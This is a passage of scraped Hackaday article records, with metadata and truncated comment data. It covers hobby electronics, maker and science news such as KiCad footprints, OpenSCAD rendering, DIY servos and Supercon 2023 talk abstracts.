Given the length of the leads and the width of the plastic package, we could come up with a good estimate of the “wingspan” for our flattened chip, but it was just as easy to grab the calipers and check the real-world dimensions:
So where does that leave us? First of all, we ain’t going to space with this thing, so we can round off some of those numbers. This can buy a little of wiggle room, since the parts will be hand soldered, and just makes it a bit easier to wrap your head around. Second, let’s stop mixing units and just stick with metric since that’s what the board house is going to want anyway.
The end result: a footprint that has eight pads of approximately 3 x 1.5 mm, spaced 2.54 mm from each other, with a span of around 16 mm.
Putting Your Foot Down
The KiCad Foorprint Editor tool works more or less the same as the PCB Editor, and shares many of the same tools and icons. So if you’ve already got a couple custom PCBs under your belt, wrangling the interface shouldn’t provide much of a challenge.
Once you’ve created a custom library (which can be per-project, or global for all of your projects) and named your new footprint, you’re given a blank canvas on which to drop your pads using the appropriately named “Add a Pad” tool. After placing the first pad you can edit its parameters to give it the desired dimensions, and from then on, any new pads you place will have the same size and shape. The pad number will also automatically increment, though its up to you to make sure they match the part’s actual numbering scheme.
Using the various measuring tools at your disposal, getting the pad spacing where you want it is pretty simple. The most important thing to remember here is probably to set a reasonable grid size so you don’t have pads snapping to weird positions. For this example a grid size of 0.5 mm would be fine, but for finer pitched components you’d want to drop that down.
Once the footprint looked about right, I used the Print command to run off a 1:1 duplicate on a piece of paper and checked that the ATtiny85 physically lined up with what would be copper pads on a real PCB.
Lessons Learned
Now, I’m not claiming to be the first person to come up with this idea. Indeed, our illustrious Editor in Chief Elliot Williams says this wasn’t an uncommon practice back when hobbyists started dipping their
toes
irons into the world of SMD. So this is less breaking new ground, and more blowing the dust off a technique that’s been lost to time.
Was it worth the effort? As you can see from the image at the right, I did get PCBs made with this custom footprint, and I had no problem soldering these previously through-hole components as if they were supersized SMD chips. But ultimately, even the cost of the DIP8 version came out to be more than expected.
As of this writing, Digikey wants $1.66 each for the ATTINY85-20U. So while I did assemble several of the SAOs using this technique, in the end I switched over to the newer tinyAVR 2 family of chips. They don’t come in eight-pin flavors anymore, but the extra flash, UPDI programming, and lower cost more than make up for a little extra soldering.
So while it wasn’t quite the solution I was hoping for, it was certainly a successful hack and a good chance to brush up on some valuable skills. As any reader of Hackaday knows — the journey can sometimes end up being more interesting than the destination. | 57 | 20 | [
{
"comment_id": "6688688",
"author": "Pete",
"timestamp": "2023-10-03T14:19:53",
"content": "Clever hack. I think I would have cut the thin legs off and rolled the thicker portion under the chip so it looks more like a PLCC, but that would have meant using an oven or hot air for soldering…",
"p... | 1,760,372,145.491485 | ||
https://hackaday.com/2023/10/03/at-last-faster-openscad-rendering-is-on-the-horizon/ | At Last! Faster OpenSCAD Rendering Is On The Horizon | Jenny List | [
"Software Development"
] | [
"multicore",
"openscad",
"rendering"
] | Known as “The Programmers Solid 3D CAD Modeller”, OpenSCAD is used by many people for whom writing code comes more naturally than learning a fiddly user interface. It’s a very capable piece of software, but regular users will tell you that it can be rather slow when it comes to rendering your work.
We’re very pleased to see that a fix for this has been produced
courtesy of [@ochafik], can now be found as an experimental feature in nightly builds, and will in due course no doubt find its way to official releases.
Despite a modern computer invariably having a multi-core architecture, it might surprise you to find that OpenSCAD wasn’t able to take advantage of this previously. The above-linked thread spans over a decade of experimenting and contains some fascinating discussions if you’re prepared to wade through it, and culminates a few weeks ago in the announcement of the new feature giving access to multiple CPUs. We don’t have it yet, but it’s great to know it’s in the works and we’re looking forward to render time involving considerably less of a wait.
So many OpenSCAD projects have passed through these pages over the years, it’s safe to say that it has a significant user base among Hackaday readers.
It’s still something an AI hasn’t mastered yet
though.
Thanks [pca006132] for the tip. | 30 | 11 | [
{
"comment_id": "6688655",
"author": "Thomas Shaddack",
"timestamp": "2023-10-03T11:20:59",
"content": "In short, this is replacement of the notoriously slow CGAL library with Manifold one.Use nightly/dev build.Enable it in edit/preferences/features (“Use the Manifold library for CSG operations inst... | 1,760,372,145.567967 | ||
https://hackaday.com/2023/10/03/femtosecond-laser-clones-itself-in-glass/ | Femtosecond Laser Clones Itself In Glass | Maya Posch | [
"Laser Hacks",
"Science"
] | [
"femtosecond laser",
"laser"
] | When researchers at the Galatea laboratory in Switzerland set out to create a femtosecond laser in glass they weren’t certain it was going to work. To be precise, their goal was to
create a femtosecond laser cavity
using carefully aligned optics. Rather than using the traditional, discrete method, they used a commercial femtosecond laser to carve out the elements of the optical cavity in glass. The
choice for glass
came down to the low thermal expansion of this material, and it being transparent for the optical frequencies being targeted.
Generic concept of an “all-glass” optical device, with the various stages of fabrication. (Credit: Antoine Delgoffe et al., 2023)
Even after using the existing laser to create the rough laser cavity, the resulting optical mirrors were not aligned properly, but this was all part of the plan.
By also adding slots that created a flexure mechanism, brief laser pulses could be used to gradually adjust the mirrors to create the perfect alignment. During subsequent testing of the newly created laser cavity it was found to be operating as expected. The original femtosecond laser had successfully created a new femtosecond laser.
Perhaps the most tantalizing aspect of this research is that this could enable much faster and ultimately cheaper production of such laser systems, especially once the tedious and currently completely manual mirror alignment procedure is automated. In addition, it raises the prospect of producing other types of optics including splitters and guides in a similar manner. | 4 | 2 | [
{
"comment_id": "6688631",
"author": "Andrzej",
"timestamp": "2023-10-03T08:34:56",
"content": "“set out to create a femtosecond in glass” – I think you a word there…",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6688649",
"author": "Dan",
"... | 1,760,372,145.618206 | ||
https://hackaday.com/2023/10/02/computer-space-replica-is-up-and-running/ | Computer SpaceReplica Is Up And Running | Richard Baguley | [
"Games",
"Retrocomputing"
] | [
"arcade",
"Computer Space"
] | You never forget your first time — watching someone pour several quid’s worth of 10p pieces into a
Space Invader
machine in 1978, upsetting for a youngster who wanted to have a turn. We’re still waiting, but [Alston] has found an interesting way to get around those arcade video game hoggers by
building a replica of
Computer Space
, the first commercial arcade video game.
Released in 1971, the
groundbreaking game
was designed by gaming legends [Nolan Bushnell] and [Ted Dabney], and came in a striking curvy fiberglass case that was molded by a manufacturer of swimming pools. [Alston] hasn’t built the case yet, but he does have the electronics up and running.
The electronics of
Computer Space
are interesting, because there is no microprocessor in there. Instead, it is built from discrete components. [Nolan] had originally planned to use a mini computer called the Data General Nova 800. However, he realized that he could make it cheaper by building it out of discrete components. As [Nolan] described it in an
oral history at the Smithsonian
[PDF link], the idea came to him after a post-Thanksgiving dinner nap:
“Screw the minicomputer. Get rid of it. Do it all in hardware. Make the game out of this collection, just make it a simple
state machine
. And the minute that happened, it was like knife through butter. Not only did I get the cost down, but what was budgeted for $1,500 worth of minicomputer, the whole damn computer cost me less than $300 in glue parts. So, I knew that I had something.”
That decision makes it an interesting project to build a replica. Although you can emulate it on a modern computer easily (there is even a version that runs in
CSS in the browser
). [Alston] is going the hard route, building replica PCBs and using the same components where possible, helped by people who have
documented it
. So far, the boards are and running and displaying a grainy, pixelated image on a portable TV.
The next step is to take the replica electronics box he has built and make a cabinet to put it into. That’s a big project, and [Alston] is looking for someone with an original cabinet that he can examine and document. | 8 | 3 | [
{
"comment_id": "6688665",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-10-03T12:30:02",
"content": "I remember dropping some quarters in such a machine.It may have left a negative impact on future gaming, losing money to learn how the games work.",
"parent_id": null,
... | 1,760,372,145.669025 | ||
https://hackaday.com/2023/10/04/robotic-mic-swarm-helps-pull-voices-out-of-crowded-room-of-multiple-speakers/ | Robotic Mic Swarm Helps Pull Voices Out Of Crowded Room Of Multiple Speakers | Lewin Day | [
"Engineering",
"Featured",
"Misc Hacks",
"Original Art",
"Slider"
] | [
"audio",
"microphone",
"robot swarm",
"robotswarm",
"swarm robot",
"swarm robotics"
] | One of the persistent challenges in audio technology has been distinguishing individual voices in a room full of chatter. In virtual meeting settings, the moderator can simply hit the mute button to focus on a single speaker. When there’s multiple people making noise in the same room, though, there’s no easy way to isolate a desired voice from the rest. But what if we ‘mute’ out these other boisterous talkers with technology?
Enter the University of Washington’s research team, who have developed a groundbreaking method to address this very challenge. Their innovation? A smart speaker equipped with self-deploying microphones that can zone in on individual speech patterns and locations, thanks to some clever algorithms.
Robotic ‘Acoustic Swarms’
The system of microphones is reminiscent of a swarm of pint-sized Roombas, which spring into action by deploying to specific zones in a room. Picture this: during a board meeting, instead of the usual central microphone setup, these roving mics would take its place, enhancing the control over the room’s audio dynamics. This robotic “acoustic swarm” can not only differentiate voices and their precise locations in a room, but it achieves this monumental task purely based on sound, ditching the need for cameras or visual cues. The microphones, each roughly an inch in diameter, are designed to roll back to their charging station after usage, making the system easily transportable between different environments.
The prototype comprises of seven miniature robots, functioning autonomously and in sync. Using high-frequency sound, much like bats, these robots navigate their way around tables, avoiding dropoffs and positioning themselves to ensure maximum audio accuracy. The goal is to maintain a significant distance between each individual robotic unit. This spacing increases the system’s ability to mute and create specific audio zones effectively. The sound from an individual speaker will reach each microphone at different times. Thus, the greater distance between microphones makes it easier to triangulate that person’s location and filter them out from the pack. Regular smart speakers often have arrays of many microphones, but as they are separated by only a few inches at most, they generally can’t achieve the same feat.
“If I have one microphone a foot away from me, and another microphone two feet away, my voice will arrive at the microphone that’s a foot away first. If someone else is closer to the microphone that’s two feet away, their voice will arrive there first,” explained by paper co-author Tuochao Chen. “We developed neural networks that use these time-delayed signals to separate what each person is saying and track their positions in a space. So you can have four people having two conversations and isolate any of the four voices and locate each of the voices in a room,” said Chen.
Tested across kitchens, offices, and living rooms, the system is capable of differentiating voices situated within 1.6 feet of each other 90% of the time, without any prior information about how many speakers are in the room. Currently, it takes roughly 1.82 seconds to process 3 seconds of audio. This delay is fine for livestreaming, but the additional processing time makes it undesirable for use on live calls at this stage.
The robots are capable of autonomously navigating their way around a desk. YouTube/Paul G. Allen School
The technology promises to have great application in a variety of fields. A smart homes equipped with a well-spread microphone array could permit vocal commands solely from individuals in designated “active zones.” A voice-activated TV could be set up to only respond to instructions from those seated on the couch. It could even allow a group to take part in a virtual conference from a noisy cafe without everyone having to put on a microphone. It’s an edge case, sure, and you’d still need headphones, but someone’s likely to try it, right?
The team hopes to further develop the concept with more capable microphone ‘bots that can move around a room, not just a table. The team is also exploring using the robots to emit sounds to create “mute” and “active” zones in the real world, which would allow people in different parts of the same room to hear their own audio feed.
While the technology is still in an early research stage, we kind of love the idea. Many a corporate meeting could be livened up with a few cute robots skittering around, even if it’s ostensibly for the purpose of capturing better audio. | 27 | 12 | [
{
"comment_id": "6688906",
"author": "m1ke",
"timestamp": "2023-10-04T14:15:55",
"content": "No thanks. Creepy and distracting. I’d rather have little robots like this top off my coffee during a meeting.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6688915... | 1,760,372,145.743743 | ||
https://hackaday.com/2023/10/04/roll-your-own-servo/ | Roll Your Own Servo | Al Williams | [
"Microcontrollers",
"Parts"
] | [
"encoder",
"servo motor"
] | Usually, when you want a servo motor, you simply buy one already made. But if you need something unusual, you can turn any DC motor into
a custom servo
you can control just like [Dejan] did. You can watch a video of the process below.
The custom servo can tune the endpoints, the center point, and the sensitivity. It also can be set to handle continuous rotation. A 12-bit encoder tells the microcontroller where the motor is and the output drivers can handle over 3 A of motor current. The microprocessor is a tried-and-true ATmega328. [Dejan] wanted to make the board as small as possible, and we think 40 mm square isn’t bad at all. There is also a 3D printed gearbox and housing. Overall, a very well-done project.
The motor control uses a PID algorithm. Potentiometers set the end range and sensitivity. A push button allows resetting the center position. DIP switches control the mode. The video shows a computer and an RC controller setting the position of the motors.
We have, of course, seen
many variations
on this idea. We’ve also seen servos rebuilt for
better performance
. | 51 | 15 | [
{
"comment_id": "6688868",
"author": "Itsemast",
"timestamp": "2023-10-04T11:55:41",
"content": "Very nice project overall, but that soldering… Ugghhh…",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6688981",
"author": "Matthew Good",
"timest... | 1,760,372,145.832771 | ||
https://hackaday.com/2023/10/04/arpa-h-moonshot-project-aims-to-enable-3d-printing-of-human-organs/ | ARPA-H Moonshot Project Aims To Enable 3D Printing Of Human Organs | Maya Posch | [
"Medical Hacks"
] | [
"bioprinting",
"therapeutic cloning"
] | The field of therapeutic cloning has long sought to provide a way to create replacement organs and tissues from a patient’s own cells, with the most recent boost coming from the US Advanced Research Projects Agency for Health (ARPA-H) and a large
federal contract awarded to Stanford University
.
Patients on the organ donation waiting list in the US (Source: HRSA)
The creatively named Health Enabling Advancements through Regenerative Tissue Printing (
HEART
) project entails a 26.3 million USD grant that will be used to create a functioning bioprinter backed by a bank of bioreactors. Each bioreactor will cultivate a specific type of cell, which will then be ‘printed’ in its proper place to gradually build up the target organ or tissue. The project’s five year goal is the printing of a fully functioning human heart and implanting it into a pig.
Assuming this is successful, the general procedure can then be refined to allow for testing with human patients, as well as the bioprinting of not just hearts, but also lungs, kidneys and much more. The lead investigator at Stanford University, [Mark Skylar-Scott], cautions that use with human patients is likely to be still decades off. But the lifesaving potential of this technology, once matured, is staggering. This is highlighted by
data from the US HRSA
, with over 42,000 transplants in 2022 in the US alone, with over a hundred-thousand patients waiting and 17 people who die each day before an organ becomes available. | 9 | 5 | [
{
"comment_id": "6688875",
"author": "Ostracus",
"timestamp": "2023-10-04T12:10:19",
"content": "Staggering, but already competing with the use of animal organs in people.https://nyulangone.org/news/pig-kidney-xenotransplantation-performing-optimally-after-32-days-human-body",
"parent_id": null,... | 1,760,372,145.885654 | ||
https://hackaday.com/2023/10/03/peggyboard-will-have-you-climbing-the-walls-repeatedly/ | Peggyboard Will Have You Climbing The Walls Repeatedly | Kristina Panos | [
"Raspberry Pi"
] | [
"climbing wall",
"leds",
"raspberry pi",
"rock climbing",
"rock climbing hold"
] | When you can’t climb actual rocks all the time, what do you do to train and keep sharp? You go to a rock-climbing gym, naturally. But what do you do when it’s 2020 and your rock-climbing gym has shuttered for the foreseeable?
You build the best darn rock-climbing wall possible
, and you outfit it with an LED for every hold and write an app that lets you plan your route and repeat it later.
This is essentially a DIY version of something called a Moonboard, which, aside from being expensive, was quickly going out of stock back in 2020. [Pegor] started the Peggyboard by building a
climbing woody
, which is a legendary home climbing wall built by a legendary climber about 20 years ago.
The Peggyboard is Raspberry Pi-powered and has a rather nice app going for it, which [Pegor] has kindly decided to open source.
On the initial screen, the user can select a route and assign the holds as either starting holds, foot holds, hand holds, or finishing holds, each with a different color LED. Another screen lets the user choose a previously-saved route, then apply it to the Peggyboard’s LEDs with the light bulb icon.
Don’t know where to get started building your own climbing wall?
You can 3D print climbing holds, you know
. | 2 | 2 | [
{
"comment_id": "6688975",
"author": "Thovthe",
"timestamp": "2023-10-04T18:56:01",
"content": "This is a pretty nice setup. If I ever get around to building a climbing wall I’m gonna add this.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6689106",
... | 1,760,372,145.926822 | ||
https://hackaday.com/2023/10/03/bioadhesive-polymer-semiconductors-for-in-vivo-sensors/ | Bioadhesive Polymer Semiconductors For In-Vivo Sensors | Maya Posch | [
"Medical Hacks"
] | [
"bioadhesive polymer",
"biomonitoring"
] | The bioadhesive electrodes on a roll.
What do you do when you want to stick an electrode or even an couple of sensors to an internal organ, such as a heart? Generally you’d use some kind of special adhesive, or sutures to ensure that the item remains firmly in place and doesn’t migrate to somewhere else within the chest cavity or among the intestines. According to a
new study
(
press release
) by Nan Li and colleagues in
Science
there may however be a more elegant method, using bioadhesive polymers.
The double-network copolymer is designed so that once put in the desired location it soaks up moisture and provides a dry interface for its bioadhesive properties. In addition, the resulting material is electrically conductive, with a measured charge-carrier mobility of ~1 square centimeter per volt per second.
Using thus manufactured electrodes were applied to both an isolated rat heart and
in vivo
rat muscles to measure electrical currents produced by each respective tissue type. The authors of the study envision that using this technology more complicated interfaces and sensors can be developed that would interface directly with organs and related. The claimed biocompatibility would also allow for such devices to be left in-situ for extended periods of time, which could be a boon for a wide range of medical conditions where continuous monitoring is a crucial element. | 2 | 2 | [
{
"comment_id": "6688817",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-10-04T02:42:18",
"content": "And we get ever closer to spinning off the HackaHuman website.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6688886",
"author": "T... | 1,760,372,147.552542 | ||
https://hackaday.com/2023/10/03/life-sized-rockem-sockem-robot-will-definitely-knock-your-block-off/ | Life-Sized Rock’em Sock’em Robot Will Definitely Knock Your Block Off | Richard Baguley | [
"Retrocomputing",
"Robots Hacks"
] | [
"robots",
"rock'em",
"sock'em"
] | He knocked his block off! That’s what [Zach] of Byte Sized Engineering is planning on saying when he completes this Rock’em Sock’em Robots replica. The twist? His replica is going to be life-sized. The
original game involved two players, each controlling a robot that could punch and block with two lever-driven arms
. [Zach] is looking to scale that up to human sized, but with a few interesting technical additions.
This build might be a bit large to be driven by a small child, so for the punching action [Zach] is using a four-bar linkage moved by a pneumatic cylinder. After some modelling, he decided on a 16mm bore and 100mm stroke cylinder that should provide a good, quick pneumatic action, but without putting so much force in that it destroys the whole thing. The aim is to knock his block off, not to permanently remove his block and take someone else’s block with it. This first video details his first prototype of the arm and the first set of tests, with later videos hopefully getting more into the mechanism and technical details of the build. We’d also like to see (hint, hint [Zach]) some of the files and code to follow up with.
Bonus fact: as older Brits may tell you, the game was marketed for some time there under the name “
Raving Bonkers
“, with the robots renamed as Basher Bonker and Biffer Bonker. The name didn’t catch on, and they changed back to the Rock’em Sock’em robots name. Ask someone in the UK these days if they want to play raving bonkers with your basher, and you will probably get your own block knocked off. Video below the break. | 2 | 1 | [
{
"comment_id": "6688881",
"author": "Jace",
"timestamp": "2023-10-04T12:36:10",
"content": "There was a show called “Prototype this!” where they just came up with cool crazy ideas and they had a certain time frame to complete them. One of the projects was a life-size Rock ‘Em Sock ‘Em Robot set.Th... | 1,760,372,147.950425 | ||
https://hackaday.com/2023/10/03/2023-halloween-hackfest-treat-trough-of-terror-is-actually-pretty-cute/ | 2023 Halloween Hackfest: Treat Trough Of Terror Is Actually Pretty Cute | Kristina Panos | [
"Arduino Hacks",
"Holiday Hacks",
"how-to"
] | [
"arduino",
"arduino nano",
"Halloween candy",
"leds",
"treat dispenser",
"ultrasonic distance sensor"
] | Even though it seems the worst of COVID has passed, October generally kicks off cold and flu season, so why not continue to pass out Halloween treats in a socially-distanced fashion?
That is, of course the idea behind [Gord Payne]’s
Halloween Treat Trough of Terror
. Lay a treat at the top of the trough and it will activate the LED strips that follow the treat down to the end, as well as some spooky sounds. The treat in question is detected by an SR-04 ultrasonic distance sensor connected to an Arduino Nano.
All in all this was a highly successful build as far as neighborhood entertainment value goes. Toddlers stared in awe at the blinkenlights, teenagers proclaimed it ‘sick’, and we can only assume that the adults were likely happy to see something aimed at kids that’s not scary.
[Gord] has a nice how-to if you want to build your own, and of course, the Arduino sketch is available. Be sure to check it out in action after the break.
Don’t have room to build a treat slide?
Here’s a socially-distanced dispenser that lets them stomp a giant button
. | 7 | 4 | [
{
"comment_id": "6688787",
"author": "aleksclark",
"timestamp": "2023-10-03T21:37:57",
"content": "> October generally kicks off cold and flu season, so why not continue to pass out Halloween treats in a socially-distanced fashion?Because there is no evidence that outdoor social distancing has an ef... | 1,760,372,147.643003 | ||
https://hackaday.com/2023/10/05/neat-soldering-station-design-has-workshop-portable-versions/ | Neat Soldering Station Design Has Workshop & Portable Versions | Richard Baguley | [
"Tech Hacks"
] | [
"3d printing",
"solder",
"soldering station"
] | The warm and rather stinky heart of any hacker’s lair is the soldering station, where the PCB meets the metal (solder). A good soldering station lets you get on with the business of building stuff without worrying about piffling details like temperature and remembering to turn the thing off. The
AxxSolder
is a neat design from [AxxAxx] that fulfills these criteria, as it includes full PID control of the iron and an auto sleep feature. It will run from any DC power source from 9 to 26 Volts, so you can run it off your bench power supply and have one less thing to plug in. There is even a portable version for those on-the-go hackathons.
It is built around an
STM32G43
SoC twinned with a
Waveshare 1.5-inch OLED display module,
all stuffed into a 3d printed case. The business end is a
JBC C210
or
C245
, which makes it compatible with most other soldering handles and cartridges out there. Plus, [AxxAxx] has done an excellent job of documenting the wiring, so you could easily hack this to another setup if required. [AxxAxx] has also made the wise choice to make the portable and station versions of this setup use the same PCB and other parts, so it would be easy to build both at the same time: the only difference between the two is the 3D-printed case and the power connector.
The sleep mode is handled by sensing when the soldering head makes contact with a metal plate, indicating it is placed in the stand or in touch with the rest on the portable version. There’s also a customizable time-out, where the station shuts down if you don’t pick up the soldering handle after a certain amount of time. If you are one of those people (cough, me) who always forgets to turn the station off after use, this is a very useful feature.
[Via
Hackster.io
] | 15 | 6 | [
{
"comment_id": "6689201",
"author": "spaceminions",
"timestamp": "2023-10-05T20:20:05",
"content": "As a contrast, these smart soldering irons can be pretty small.https://hackaday.com/2023/01/31/all-about-usb-c-pinecil-soldering-iron/I wonder how the pinecil compares in non-obvious ways.",
"par... | 1,760,372,147.756639 | ||
https://hackaday.com/2023/10/05/audacity-runs-surprisingly-well-in-your-browser/ | Audacity Runs Surprisingly Well In Your Browser | Tom Nardi | [
"Software Hacks"
] | [
"audacity",
"wasm",
"WebAsssembly"
] | Audacity is an extremely popular open source audio editor, with hundreds of millions of downloads on the books. But due to some controversy over changes the Muse Group wanted to implement when they took ownership of the project back in 2021, the userbase has fractured somewhat. Some users simply stick with an older version of the program, while others have switched over to one of the forks that have popped up in the last couple of years.
The Wavacity project by [Adam Hilss] is a bit of both. It looks and feels just like an older version of Audacity (specifically, 3.0.0). But the trick here is that he’s managed to get it working with WebAssembly (WASM)
so you can run it in your browser
. Impressively, it even works on mobile devices. Though the Audacity UI, which already carries the sort of baggage you’d expect from a program that’s more than 20 years old, is hardly suited to a touch screen.
[Adam] had already ported the
wxWidgets
and
PortAudio
libraries over to WASM back in 2022 as
part of another project
, and was looking for other programs to demonstrate them with. Given the popularity of Audacity, it was a natural choice for webificiation. The final result works remarkably well, to the point you might actually forget it’s running on a tab on your browser.
There’s an understandable debate about moving all of our software into the browser, but if you’re going to do it, the WASM route does seem pretty promising. We previously covered how it was used to bring
OpenSCAD to the web
with similarly impressive results.
Thanks to [James Newton] for the tip. | 13 | 5 | [
{
"comment_id": "6689190",
"author": "Ostracus",
"timestamp": "2023-10-05T18:56:15",
"content": "Opposing trends. Webification of everything, and appfication of the web.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6689422",
"author": "HaHa",
... | 1,760,372,148.002366 | ||
https://hackaday.com/2023/10/05/hackaday-superconference-2023-first-round-of-speakers-announced/ | Hackaday Superconference 2023: First Round Of Speakers Announced! | Elliot Williams | [
"cons",
"Hackaday Columns",
"News"
] | [
"2023 Hackaday Supercon",
"2023 Hackaday Superconference",
"speakers",
"talks"
] | Hackaday Supercon 2023 is almost upon us, and looking over the roster of fantastic talks gets us in the mood already. We hope that it has the same effect on you too.
Supercon is the Ultimate Hardware Conference and you need to be there! We’ll announce the rest of the speakers, the workshops, and give you a peek at the badge over the next couple weeks. Supercon
will
sell out so
get your tickets now
before it’s too late. And stay tuned for the next round of reveals on Tuesday!
Ben Combee
A Hacker’s Guide to Audio/Video Formats
If you want to show a video clip or play audio in your project, you’ve probably had to figure out how to take that media file and turn it into something that runs on a small device. This talk with give an overview of the commonly supported formats, how well they work on typical maker hardware, and the kinds of problems you’re likely to hit. I’ll be mainly talking about working directly in C/C++, but also about prototyping with CircuitPython.
Bob Hickman
The Bits and Bytes of Bringing Arcade Classics to Game Consoles
I will go into some detail about the challenges, trade offs, and solutions encountered when porting some classic Namco arcade games such as Pac-Man, Dig-Dug, Galaxian, Pole-Position to the home console market, specifically the Gameboy Advance.
Eric Andersson
A Makers Guide To Designing Sheet Metal Electroncis Enclosures
Sheet metal is the dominant fabrication method for computer cases and electronics enclosures, but it’s seldom seen in DIY or open-source hardware projects. This talk is a crash course in sheet metal design for makers: How it works, basic design principles, and useful tips to get the most out of this versatile, cost-effective manufacturing option.
Jesse T. Gonzalez
Circuit Boards that Breathe and Bend (A Guide to Electro-Pneumatic Robotic Surfaces)
How do you build a robotic, shape-changing surface? The brute-force approach is to use dozens of tiny, individual actuators — but the near-endless assembly process limits the scale of what you can realistically achieve. Instead, stick the actuators inside the circuit board itself! By hijacking the PCB layup process, and integrating smart materials into this manufacturing pipeline, we can create arrays of compact electro-mechanical actuators without the painful assembly steps.
Benedetta Lia Mandelli
Soft actuator orthosis
The use of soft robots in the medical field is still in its early stages. In this project, our aim is to demonstrate their potential by integrating them into an orthosis that utilizes a soft actuator to assist individuals in gripping objects effectively. This innovation holds the potential to significantly improve the quality of life for individuals with tenodesis, granting them greater independence in daily activities.
Shawn Hymel
Tiny Reinforcement Learning in Robotics
Most of the major strides in reinforcement learning (RL) we see are in board games (Chess, Go), video games (Mario, Doom), and large robotics (self-driving cars). I examine how RL works on microcontrollers by providing a demonstration of a self-balancing inverted pendulum. Rather than manually tune PID controllers, we simply let AI figure it out.
Alex Lynd
Wireless Hacking on a $5 Budget (with Microcontrollers)
As microcontrollers become cheaper & more capable, this makes them perfect for building disposable hacking payloads – and especially for wireless reconnaissance!
In this talk, Alex Lynd shares how he builds low-cost hacking tools, wireless implants, and even a snail-mail payload that can phish your online credentials – all using $5 microcontrollers! He also discusses how he uses low-cost hardware to lower the barrier to entry for security researchers & cybersecurity beginners.
Jeroen Domburg
Building a Portable Vectrex, the Right Way
The Vectrex is an odd ’80s game console. It integrates a vector CRT in its case, as displaying vectors with the required clarity would be impossible on a TV with the tech at that time. The Vectrex sold decently well, but unfortunately, it was a victim of the 1983 video game crash. If that didn’t happen, perhaps a portable Vectrex, handheld and running on batteries, would have seen the light of day? This is a look into what could be, using modern digital electronics to drive a CRT for that original vector crispness you just can’t get on LCDs, combined with a relatively long battery life.
Thea Flowers
The Absurd Idea of Rendering KiCAD Projects on the Web
What would it take to show KiCAD files right there in your browser instead of having to download and view them on your computer? “That’s absurd!” you might shout, and you would be right! Absurdity is something I specialize in so I took on the task of building an open source, browser based KiCAD viewer – KiCanvas.
I’ll show you the glorious hacks, the beautiful optimizations, and the horrifying edge cases involved with dissecting and replicating KiCAD’s rendering on the web. I’ll share how interactive web technology can amplify open hardware.
David Prutchi
Receiving Microwave Signals from Deep-Space Probes – Amateur DSN and the Ultimate DX
Amateur reception of deep space probes is a fascinating and challenging field that blends elements of microwave RF, space communications, space exploration, and radioastronomy.
While data from space probes is commonly received and processed by space agencies using very large antennas and sophisticated equipment, it is possible for hobbyists to home-brew modest systems capable of receiving signals from deep-space probes. This is currently one of the only ways in which private citizens can directly experience planetary exploration.
James Lewis
Building the Apple II computer that Apple intended but never did
This talk spans a four-year project initially intended to be a quick and easy “just wire this chip up” idea. (Sound familiar?) James set out to build a portable Apple IIe based on the Apple “Mega-II” chip from the late 1980s. Something that not even Apple ever did! To make it happen, he had to reverse engineer the (mostly) undocumented ASIC and learn more about the Apple II hardware architecture than a single person should.
The result is the first Apple IIe-compatible computer built relying on the Mega-II — not even the IIGS can claim this!
Kumar Abhishek
Going Into Deep (Logic) Waters with the Raspberry Pi Pico’s PIO and the Pi’s SMI
The Raspberry Pi Pico (RP2040 MCU) has a pretty interesting internal bus architecture – which includes striping of the internal RAM into banks, and a crossbar bus which allows both its cores, DMA and peripherals to concurrently work and orchestrate data transfers as long as nobody tramples on each other’s feet (so to speak). I will talk about my journey making a logic analyser that uses SMI and the challenges I faced, how fast can I push the boundaries of speed and achieve the full potential that the Pico/Pi combo has to offer.
Joshua Vasquez
Programming Your Human Hardware Compilers, or the Road to Writing Great Step-by-Step Instructions
If software gets a compiler, then what stands in for mechanical hardware? Often, the answer is a set of hand tools–and you! You, the human, must compile the mechanical design that exists in a computer model into a working, moving project. As the project designer, we have a chance to literally program the behaviors of assembly into step-by-step instructions, guiding the human on a path to victory.
While many people might call documenting projects a chore, I’ll showcase my strategies for saving time, and demonstrate how the process can be fulfilling and, I daresay: fun.
Angela Sheehan
Cuddly Companion Bots: A Whimsical Adventure
Inspired by fellow botmakers Alex Glow and Jorvon Moss at Supercon 2019, I decided to embark on a journey to build my own cuddly companion named Nova. In the process of crafting a companion bot that felt creative and alive, I was able to expand my skill set and create some whimsical features that evoke emotional reactions from people who interact with her.
After bringing her to Supercon 2022, I then decided to share my process of crafty robots with others through a summer camp for tweens at a public library. I will showcase some tips for artists and designers dipping their toes into the companion bot world for the first time and ways you can create compelling bots with simple materials.
[If you read this far, you probably
want tickets.
Just sayin’.] | 7 | 4 | [
{
"comment_id": "6689191",
"author": "arabidsquid",
"timestamp": "2023-10-05T18:59:14",
"content": "Why does the picture of Shawn Hymel holding a piece of toast on a plate seem perfectly normal to my brain? Like it doesn’t trigger a “huh, weird”, just like, “yep, there he is in his natural habitat.”... | 1,760,372,147.90928 | ||
https://hackaday.com/2023/10/05/spuds-lend-a-hand-in-the-darkroom/ | Spuds Lend A Hand In The Darkroom | Jenny List | [
"Art",
"chemistry hacks"
] | [
"film",
"film developing",
"photography",
"potatoes"
] | If film photography’s your thing, the chances are you may have developed a roll or two yourself, and if you’ve read around on the subject it’s likely you’ll have read about using coffee, beer, or vegetable extracts as developer. There’s a new one to us though, from [cm.kelsall], who has put the tater in the darkroom, by making
a working developer with potatoes as the active ingredient
.
The recipe follows a fairly standard one, with the plant extract joined by some washing soda and vitamin C. The spuds are liquidised and something of a watery smoothie produced, which is filtered and diluted for the final product. It’s evidently not the strongest of developers though, because at 20 Celcius it’s left for two hours to gain an acceptable result.
The chemistry behind these developers usually comes from naturally occurring phenols in the plant, with the effectiveness varying with their concentration. They’re supposed to be better for the environment than synthetic developers, but sadly those credentails are let down somewhat by there not being a similar green replacement for the fixer, and the matter of a load of silver ions in the resulting solutions. Still, it’s interesting to know that spuds could be used this way, and it’s something we might even try ourselves one day.
We’ve even
had a look at the coffee process before
. | 10 | 5 | [
{
"comment_id": "6689149",
"author": "James",
"timestamp": "2023-10-05T15:49:44",
"content": "So you really can do more than just boil ’em, mash ’em, or stick ’em in a stew!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6689166",
